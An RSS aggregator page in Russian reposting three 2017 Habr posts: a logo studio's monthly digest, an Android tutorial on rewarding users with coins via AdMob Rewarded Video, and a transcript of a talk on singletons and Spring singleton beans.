Дайджест: «Что делала Логомашина в июне-июле 2017?»

Воскресенье, 06 Августа 2017 г. 20:08 + в цитатник
image

Привет всем подписчикам! На связи —Логомашина. Хотим рассказать, что нового у нас произошло за последнее время. Сегодня — новости за июнь и июль.

54 свежие работы


Мы добавляем в портфолио каждый логотип, без исключений, за эти два месяца мы выложили 54 свежие работы. Это не просто логотипы — мы всегда разрабатываем логотип в презентации, которая показывает, как правильно использовать лого, цвета и элементы стиля. Проще один раз увидеть: Портфолио. За два месяца логотипы наших клиентов просмотрели около 50 000 раз.

image

В июне мы приняли решение создать имиджевый проект — концепт фирменного стиля для криптовалюты Биткойн, на данный момент только на Behance работу просмотрело около 16000 человек — это без учета остальных ресурсов. Behance выдал ленточку — графический дизайн нашему проекту и разместил его у себя в галерее. Кроме Биткойна, ленту и признание Behance в июле получил еще один проект — фирменный стиль для веб-разработчиков из Барселоны.

image
Полная презентация Биткойна здесь

Производство: планерки по Харнишу


В июле была внедрена Scrumban-система, которую, правда, позже заменили на Waterfall (так нам арт-директор сказала). Так у нас появилась визуальная система отслеживания редлайнов (внутренних сроков на разработку) — она помогает укладываться в гарантийный срок в 14 дней, без учета выходных. До того, как мы стали использовать эту систему, отслеживать сроки было сложнее. Это привело к тому, что мы подарили клиенту логотип, который разработали.

image

Мы стали проводить ежедневные утренние планерки, в которых участвуют все сотрудники офиса. На такой планерке каждый из сотрудников озвучивает свои задачи на день, а еще выносим на обсуждение KPI. Планерки организованы по технологии Верна Харниша.

Такие встречи помогают синхронизироваться друг с другом, понять кто и что делает, сколько у него уходит на это времени. Кроме ежедневных планерок есть еженедельные, ежемесячные и квартальные — они помогают не упускать направление компании и дают понимание, какими темпами мы движемся к цели.

image

Раз в неделю проводим вебинары для команды по процессу работы, генерации идей, созданию анимации и т.д. Во время вебинара отмечаем минусы и точки роста для всей команды, а затем готовим по этим пунктам небольшие лекции.

image

Отдел SMM: хэштеги и стримы


В начале года в нашем сообществе Вконтакте, появилась рубрика #logomachine_help. По этому хештегу мы ищем в социальных сетях посты, где люди просят нас дать советы по логотипам и другим элементам дизайна. Мы быстро показываем, что можно улучшить в графическом плане в дизайне и делаем пост в группу об этом.

image

Наша рубрика — не полноценный редизайн, а только советы, что можно улучшить.
Раз в 2 недели выкладываем отчет, в котором даем общие советы по улучшению дизайна на примере наших участников. За все время существования рубрики мы помогли 40 участникам — все они получили графические советы, и исходные файлы исправленных логотипов, бесплатно. На данный момент рубрика дала нам большой охват ~ 394.000.

В июне мы стали проводить прямые видеотрансляции в нашем сообществе, каждый четверг встречаемся с подписчиками и новыми посетителями на стримах.

image

На трансляции коротко рассказываем, что с произошло за неделю, что интересного выпустили, какие есть вакансии, затем проводим мини-лекции. Например, в последних трансляциях Роман Горбачев (основатель Логомашины) рассказывал о том, нужны ли вообще миру логотипы? И показал презентацию с примерами и интерактивом. Далее —проводим #logomachine_help онлайн, где пользователи присылают свой дизайн, а мы, во главе с арт-директором, обсуждаем недочеты и даем советы. Пока что, мы не знаем, что нам дают эти встречи, но такой формат нам нравится, и мы будем развивать и продолжать его. Трансляции с разбором дизайна, проводим каждый четверг в 18:00, в сообществе.









В июле у нас появились новые сотрудники в SMM-отделе: копирайтер Николай и 2 стажера — Лиза и Ваня.
image
Николай — копирайтер

image
Ваня и Лиза — юные помощники SMM-отдела

А еще за эти 2 месяца отдел SMM выпустил пачку полезных статей:

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334924/


Метки:  

Даем пользователю приложения игровую валюту с помощью AdMob Rewarded Video

Воскресенье, 06 Августа 2017 г. 19:53 + в цитатник
Всем привет! В этой статье хотел бы поделиться с Вами своей наработкой, а именно показать как работает процесс вручения пользователю игровой валюты (например, монет) при помощи AdMob Rewarded Video.

image



Предисловие


Около 3-х месяцев назад я начал разработку своего собственного проекта. Я планирую выпускать Android приложения на тему — викторины. Совсем недавно (около 2-х недель назад) я опубликовал в Google Play свое приложение-викторину с географическим уклоном. Да, я прекрасно понимаю, что таких викторин сотни, а то и тысячи и все они в большинстве своем повторяют функционал друг друга.
Многие такие проекты, если они от инди-разработчика (как мне показалось) имеют недостаточно правильно настроенные этапы монетизации. Будем откровенны, если ты инди, то главная твоя цель — это заработок на показах рекламы, продажи дополнительного контента и прочего. С правильным подходом к контенту и рекламе в большинстве случаев приложение найдет свою аудиторию. Можно сказать, монетизация — это залог успеха любого проекта/приложения.
Для себя я выделил несколько видов монетизации: рекламные объявления (банерная, межстраничная, видео) и sharing в социальных сетях (Facebook, Twitter, VK).
Я считаю, что за все эти пункты пользователь вашего приложения должен получать вознаграждение, чтобы чувствовать некую удовлетворенность.
Как подключить банерную или межстраничную рекламу большинство из Вас знают и читали различные туториалы, но скорей всего еще не сталкивались с подключением видео рекламы, да и информации в сети по этому вопросу не так много.
Это меня и сподвигло написать данный пост.

Начало работы


Итак, реализацию AdMob Rewarded Video Add я покажу на тестовом проекте. Из него будет полностью понятно как ее можно будет добавить в свой имеющийся проект или просто поработать с ней в дальнейшем. Также, косвенно затронем тему SharedPreferences для хранения монет.

Шаг 1:
Нам нужно сделать layout в котором у нас будет TextView (показываем кол-во монет), кнопка Video (нажатие на нее запускает просмотр рекламы) и кнопка Game (при клике будем добавлять по одной монете пользователю):

image

Шаг 2:
Приступим к имплементации.
В этом шаге нам нужно: добавить зависимости в gradle, инициализировать AdMob рекламу и создать несколько констант.

Добавляем зависимости:
compile 'com.google.firebase:firebase-core:10.2.0'
compile 'com.google.firebase:firebase-ads:10.2.0'


Инициализируем Admob:
public class App extends Application {
    @Override
    public void onCreate() {
        super.onCreate();

        MobileAds.initialize(this, Constants.ADMOB_ID);

    }
}


Cоздаем класс Constants.java:
class Constants {

    private Constants() {
        throw new AssertionError();
    }

    static final String PREF_COINS = "pref_coins";

    static final String ADMOB_ID = "YOUR_ADMOB_ACCOUNT_ID_HERE";
    static final String AD_MOB_REWARDED_VIDEO_ID = "YOUR_ADMOB_ADD_ID";
    
    static final int REWARD_FOR_VIDEO = 20;

}


В константе 'static final int REWARD_FOR_VIDEO' мы указываем какое кол-во монет даем пользователю за просмотр видео рекламы.

Шаг 3:
В этом шаге мы опишем действия, которые должны происходить, а именно: создадим нужные поля и дезактивируем кнопку 'Video' в методе onCreate(), запишем значения наших монет в SharedPreference, напишем метод loadRewardVideo(), которой будет загружать видео рекламу.

public class MainActivity extends AppCompatActivity {

    private AdRequest mAdRequest;
    private RewardedVideoAd mRewardedVideoAd;

    private SharedPreferences mSharedPreferences;

    private TextView mTextCoins;
    private Button mButtonVideo;
    private int coins;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        mSharedPreferences = PreferenceManager.getDefaultSharedPreferences(this);
        coins = mSharedPreferences.getInt(PREF_COINS, 0);

        setContentView(R.layout.activity_main);

        mButtonVideo = (Button) findViewById(R.id.btn_video);
        mButtonVideo.setOnClickListener(clickListener);
        mButtonVideo.setEnabled(false);

        findViewById(R.id.btn_game).setOnClickListener(clickListener);

        mTextCoins = (TextView) findViewById(R.id.tv_coins);
        mTextCoins.setText(getResources().getQuantityString(R.plurals.coins, coins, coins));

        //AdMob Rewarded Video
        mRewardedVideoAd = MobileAds.getRewardedVideoAdInstance(this);
        mRewardedVideoAd.setRewardedVideoAdListener(rewardedVideoAdListener);

        mAdRequest = new AdRequest.Builder()
                .addTestDevice(AdRequest.DEVICE_ID_EMULATOR)
                .build();

        loadRewardVideo();

    View.OnClickListener clickListener = new View.OnClickListener() {
        @Override
        public void onClick(View v) {
            switch (v.getId()) {
                case R.id.btn_video:
                    if (mRewardedVideoAd.isLoaded()) {
                        mRewardedVideoAd.show();
                    }
                    break;
                case R.id.btn_game:
                    coins++;
                    mTextCoins.setText(getResources().getQuantityString(R.plurals.coins,
                    coins, coins));
                    break;
            }
        }
    };

    private void loadRewardVideo() {
        mRewardedVideoAd.loadAd(AD_MOB_REWARDED_VIDEO_ID, mAdRequest);
    }

}


Шаг 4:
Создаем слушатель RewardedVideoAdListener. В методе onRewardedVideoAdLoaded() — мы активируем нашу кнопку, которую ранее выключили. Также, все основные свои действия проводим в методе onRewarded, в котором добавляем наши монеты за просмотр видео к имеющимся и по завершению рекламы показываем пользователю toast с текстом, что он получил награду в размере 20 монет.

 private RewardedVideoAdListener rewardedVideoAdListener = new RewardedVideoAdListener() {
        @Override
        public void onRewardedVideoAdLoaded() {
            mButtonVideo.setEnabled(true);
        }

        @Override
        public void onRewardedVideoAdOpened() {

        }

        @Override
        public void onRewardedVideoStarted() {

        }

        @Override
        public void onRewardedVideoAdClosed() {
            mButtonVideo.setEnabled(false);
            loadRewardVideo();
        }

        @Override
        public void onRewarded(RewardItem rewardItem) {
            coins += REWARD_FOR_VIDEO;
            mTextCoins.setText(getResources().getQuantityString(R.plurals.coins, coins, coins));
            String msg = getResources().getQuantityString(R.plurals.congrats, REWARD_FOR_VIDEO,
                    REWARD_FOR_VIDEO);
            Toast.makeText(MainActivity.this, msg, Toast.LENGTH_SHORT).show();
            mSharedPreferences.edit().putInt(PREF_COINS, coins).apply();
        }

        @Override
        public void onRewardedVideoAdLeftApplication() {

        }

        @Override
        public void onRewardedVideoAdFailedToLoad(int i) {

        }
};



В этом шаге мы проделали основные действия, которые добавляют логику по клику на кнопку, а также описали поведение видео-рекламы в слушателе RewardedVideoAdListener.

И последнее, добавим жизненные циклы к нашей видео рекламе:

@Override
    protected void onPause() {
        super.onPause();

        mSharedPreferences.edit().putInt(PREF_COINS, coins).apply();
        if (mRewardedVideoAd != null) {
            mRewardedVideoAd.pause(this);
        }
    }

    @Override
    protected void onResume() {
        super.onResume();

        if (mRewardedVideoAd !=null) {
            mRewardedVideoAd.resume(this);
        }
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();

        if (mRewardedVideoAd != null) {
            mRewardedVideoAd.destroy(this);
        }
    }


И в целом это все. Результат можно посмотреть в этом видео:





P.S. Еще раз напомню, что в этом примере я показал, как это сделать в тестовом проекте. В своем приложении это реализовано более ярко и красочно с использованием кастомных кнопок. Ссылку на свое приложение оставлю в комментарии к посту, чтобы не быть заблокированным за рекламу.

P.P.S. Также, мне кажется, что в инди-разработке Android приложений в области викторин нужно иметь представление о работе с кастомными кнопками.
Правильная система монетизации и умение создать кнопку любой формы и вида — наше все. Свою следующую статью я бы хотел посветить именно этой теме и показать, как правильно работать с кнопками на девайсах с pre lollipop и выше.
Хотели бы увидеть туториал как делать кастомные кнопки для Android приложении?

Проголосовало 5 человек. Воздержался 1 человек.

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335008/


Метки:  

[Археология Live] Стыдный разговор о синглтонах

Воскресенье, 06 Августа 2017 г. 19:18 + в цитатник

Аудитория: Java Junior, любители холиворов, профессиональные написатели синглтонов





Любые замечания и предложения — очень приветствуются. Это мое первое видео, и не совсем понятно, нужен ли тут вообще такой контент. Считайте это закрытым альфа-тестом, только для посетителей хаба Java :)


Ниже дана полная текстовая расшифровка, кому не хочется тратить время на просмотр.


Вступление


Привет, Хабр! Наступил вечер, и нам пора серьезно поговорить. Хочу с тобой обсудить стыдное. Cинглтоны.


Дело в том, что я постоянно слышу от знакомых на попойках, как они на код ревью уничтожают синглтоны и выкашивают спринг, потому что Спринг – шлак. И вот сил моих больше нет терпеть, давайте заясню за всю фигню.


Сначала о том, почему синглтоны – это стыдно.


Старейшая книга в которой говорится о синглтоне (ну по крайней мере, самая старая, какую видел своими глазами) написана в 1994 году. Это книга «Паттерны проектирования» Банды Четырех: Гамма, Хелм, Джонсон, Влиссидес.
Просто задумайтесь, какая это древность. Чем вы занимались в 1994 году? Кое-кто из наших коллег в этом году еще не родился.



Или вот, вторая любовь моей жизни – книга «Test Driven Development» Кента Бека, написанная в 2002 году.



И вот что написано про синглтоны там:



Я рассказываю это не затем, чтобы тряхнуть стариной, а чтобы показать, какой чудовищный баян — вся эта тема с хейтом синглтонов. Синглтоны хейтили, когда ты еще не родился, или учился в начальных классах школы.



Поэтому в принципе, мне кажется, что обсуждать на публике синглтоны – это стыдно. Об этом можно поговорить только с самыми близкими друзьями, со своей любимой женщиной/мужчиной, ну и с тобой, дорогой Хабр.


Светлая сторона


Понятно, что тут все эксперты, и задницей чувствуют опасность синглтонов. Но задница – не лучший индикатор, давайте как-то вербализуем нашу тревогу. Чем конкретно плохи синглтоны?


Глобальное состояние


Синглтон — это в первую очередь глобальное состояние. Вы получаете один неделимый, плохо управляемый глобальный скоуп. Этот недостаток управляемости – сама по себе проблема.


Чтобы как-то это проиллюстрировать, вот представьте что у вас внутри синглтона спряталась какая-то машина состояний или протокол общения. И если вы захотите автоматически тестировать это, то окажется что а) нужно одновременно тестировать всё, что прикасается к синглтону и б) самое ужасное — эти тесты обязаны выполняться в определенном порядке.


Если тесты обязаны выполняться один за другим, из них нельзя выбросить ненужное, то очень быстро мы приходим к ситуации, когда один тестовый прогон делается не менее, чем за 12 часов, и это очень плохо.


Явное и неявное


Существует известный принцип, согласно которому явное лучше неявного. Этот принцип, кстати, заложен в PEP 20, более известный как "дзен языка Python".



Когда ты передаешь объекты не точно по адресу, а переносишь их в глобальное состояние, этим самым ты прячешь связи внутри кода. Это супер неявно. В результате, код быстро превращается в магию. Он как-то работает, но сам по себе, и он уже не в твоей власти.


The Single Responsibility Principle


Принцип единственной ответственности. То есть это буква S в аббревиатуре SOLID. Эта аббревиатура – важнейшая в жизни любого джависта. Я так ее уважаю, что хочу сделать наколку с ней.


Этот принцип когда-то ввел Роберт Мартин (более известный как Дядя Боб).



Он утверждает, что каждый объект должен иметь одну ответственность и эта ответственность должна быть полностью инкапсулирована в класс.


Если мы делаем синглтон, то кроме своих непосредственных обязанностей, он возлагает на себя еще одну задачу: управление своим жизненным циклом. Больше не вызывающий код решает, как и когда появляется объект, не обычное окружение организует доступ к нему, а все это упихано внутрь класса-синглтона. В каком-то смысле он действительно выполняет эту задачу, но криво и убого. Собственно, как и любой код, который старается угнаться за двумя зайцами.


Сильная связанность


Все компоненты, использующие синглтон, или не дай бог – общающиеся через него, мгновенно оказываются жестко связанными. Связанное зачастую приходится развязывать — например, чтобы написать тесты. И, тестировать код, густо обмазанный синглтонами, очень неприятно. Даже один-единственный синглтон может серьезно напрячь вообще всех: и тестировщиков, и программистов с TDD, и подгадить на проведении демонстраций изолированной функциональности.


Специфика Java


В Java нет специального способа записывать синглтон. Поэтому существует множество способов записать его, и все они некрасивые.


Во-первых, все можно впихать в статическое поле или енум.


public class Singleton {
    public static final Singleton INSTANCE = new Singleton();
}

public enum Singleton { INSTANCE; }

Но это будет не ленивый вариант, он нам не нужен.


Можно засунуть всё под synchronized:


public class Singleton {
    private static Singleton instance;

    public static synchronized Singleton getInstance() {
        if (instance == null) {
            instance = new Singleton();
        }
        return instance;
    }
}

Но это будут тормоза, кои собственно и символизирует synchronized, в самом типичном случае использования.


Или приходится использовать double-checked locking вариант:


public class Singleton {
    private static volatile Singleton instance;

    public static Singleton getInstance() {
        Singleton localInstance = instance;
        if (localInstance == null) {
            synchronized (Singleton.class) {
                localInstance = instance;
                if (localInstance == null) {
                    instance = localInstance = new Singleton();
                }
            }
        }
        return localInstance;
    }
}

Выглядит он еще более мерзко. Плюс отношение к этой форме записи выразили сами разработчики языка Java:


"There exist a number of common but dubious coding idioms, such as the double-checked locking idiom, that are proposed to allow threads to communicate without synchronization. Almost all such idioms are invalid under the existing semantics, and are expected to remain invalid under the proposed semantics."


Темная сторона


И как бы, все эти соображения на виду. Но есть и другая, темная сторона вопроса. Существуют другие люди, более практически настроенные. У них есть собственный стандартный ответ: разработчики, упарывающиеся по Солиду, по принципу Лисков итп – это просто теоретики. В реальной жизни все не так, и на самом деле синглтоны нужны. И для этого у них есть специальная философия. Контр-философия.


Глобальное состояние есть везде


Сложно придумать систему, не являющуюся хэлловорлдом или теоретической иллюстрацией, где в самой предметной области не встречалось бы глобальное состояние.


Как минимум, глобальная переменная – это наш реальный мир, в котором мы все живем. Если у нас какая-то компьютерная игра, MMORPG, мы ее пишем, то единый виртуальный мир игры – это тоже глобальное состояние. У нас не будет другой жизни и другого мира.


Более локально, если у вас в системе есть единственная база данных, и это часть предметной области, то зачастую имеет смысл привязаться к её единственности. Иначе на решение прикладной задачи не останется времени, и все начнут писать систему управления бесконечным количеством баз данных.


Аргумент про порядок тестов тут тоже не сработает: очевидно, что при исполнении, первой должна подниматься наша единственная база (и выполняться тесты относительно базы), и потом уже прикладной код. Если поднять код раньше базы, то все упадет. Большинство проектов, которые я видел, явным образом запускали базу до кода, и не видели в этом вообще никаких практических проблем.


"It just works" лучше явного


Современные программные проекты необычайно сложны. Может быть, это самые структурно сложные вещи, из всех, которые делало человечество за всю свою историю.


И рано или поздно, в вашем проекте оказываются тысячи классов, сотни и тысячи зависимостей на внешние библиотеки. Начиная с какого-то момента, ты не можешь управлять ими вручную, появляются умные системы сборки типа Maven. Maven появился, насколько помню, от ужаса, с которым встретились разработчики при сборке проектов на веб-фреймворке Turbine.


Рано или поздно ты понимаешь, что система становится умонепостигаемой. Ее сложность слишком велика, чтобы поместиться в мозг одному человеку, пусть это даже самый главный важный архитектор. И начинаешь искать такую автоматику, которая будет сама думать о внутренних связях, об индикации и сопровождении ошибок, об автоматическом dataflow, и так далее.


Очевидно, что такая система в значительной степени состоит из магии. И в данном случае, магия – это не то, от чего стоит бежать. Наоборот, к ней стоит стремиться. Но это должна быть хорошая, качественная, надежная магия.


Жесткое лучше мягкого


Если проект большой, и в нем сложно разобраться, то прямые жесткие связи упрощают понимание кода. В случае ошибки, в стектрейсе будет именно то место, где она возникла. Открываются возможности по построению очень простых графиков, отражающих структуру кода. Сравните это с действительно слабой связанностью кода на основе очередей, когда вылетевшую в одном месте системы ошибку на самом деле нужно искать на другой стороне очереди, или нескольких очередей – такие поиски могут занимать часы.


Что касается тестирования. Если посмотреть, как это в реальности, то во многих проектах тестирование либо вообще не делают, либо делают в очень урезанном виде. В проекте может быть тысячи классов, но всего несколько десятков тестов. И ради этого крошечного количества вообще не имеет смысла беспокоиться, и переписывать систему особым образом. Это касается не только синглтонов, а вообще всего – настоящее полномасштабное тестирование тянет за собой очень много дополнительных условий. На практике ставить во главу угла тестируемость – не всегда хорошая идея.


Специфика Java


Да, написание синглтона выглядит некрасиво. Но в IDE всегда можно создать шаблон «некрасивого» класса, и навсегда забыть о том, чтобы писать этот неприятный код вручную. Как говорится, темнота – друг молодежи.


Решение


И вот, мы оказались на пороге реального конфликта: одни люди хотят синглтоны (на самом деле, просто глобальное состояние, просто они его называют синглтоном), а другие – наоборот сильно против этого.


Отличным решением является переход от настоящих синглтонов к сиглтонам курильщика… ой ой. Singleton Beans из Spring. В чем суть: с помощью аннотации Component и Scope(SCOPE_SINGLETON) вы помечаете некоторые классы как синглтоны.


import org.springframework.beans.factory.config.ConfigurableBeanFactory;
import org.springframework.context.annotation.Scope;
import org.springframework.stereotype.Component;

@Component
@Scope(ConfigurableBeanFactory.SCOPE_SINGLETON)
public class Greeter {
    public String hello() {
        return "Hello World!";
    }
}

Потом в любом месте вы можете сделать поле, пометить его как @Autowired, и при старте приложения в этом поле окажется нужный экземпляр.


import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class HelloWorldController {
    @Autowired
    Greeter greeter;

    @RequestMapping(path = "/")
    public String home() {
        return greeter.hello();
    }
}

Заметьте, что этот вариант решает все перечисленные выше проблемы.


  • Оно позволяет использовать глобальное состояние, но при этом не запирает вас в рамках одного контекста. Вы в Спринге можете делать сколько угодно контекстов. Если необходимо сделать отдельный контекст для тестирования, это делается в несколько строк кода. Более того, оно предоставляет удобные инструменты для работы с контекстом, наспример, можно получить список всех существующих сейчас синглтонов. Как это сделать в чистой джаве – наверное, никак.
  • Оно позволяет явно описать все существующие сейчас синглтоны. Но не тратить время на ручное управление зависимостями. То есть, в коде присуствует большая магия, но эта магия полностью контролируется, если нужно.
  • Оно не нарушает S в SOLID, потому что жизненным циклом управляет Spring
  • Оно выглядит красиво и лаконично, так как сводится к нескольким аннотациям, и вообще не заставляет писать boilerplate код.

Резюме


Вопрос синглтонов давным-давно решен. Удвительно, что находятся люди, которые об этом еще не знают. Решение — это Spring и другие системы инверсии контроля и депенденси инжекшена. Синглтоны не нужно выкашивать, не нужно хетить людей, которые их пишут — их нужно переводить на Spring и обращать в нашу Spring-религию.


И еще


И раз уж вы не только посмотрели видос, но и дочитали до конца. Спасибо, за поглощение моего контента, оказали мне этим большую честь. (серьезно.) А теперь что с вас нужно: обязательно оставьте комментарий к этой статье, поставьте лайк, подпишитесь на хаб Java на Хабре, на блог друганов из JUG.ru которые замотивировали меня выложить этот горячечный брейндамп в сеть, и на других видных видеоблоггеров.


Пока!


Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335006/


Метки:  

Поиск сообщений в rss_rss_hh_new
Страницы: 1437 ... 1083 1082 [1081] 1080 1079 ..
.. 1 Календарь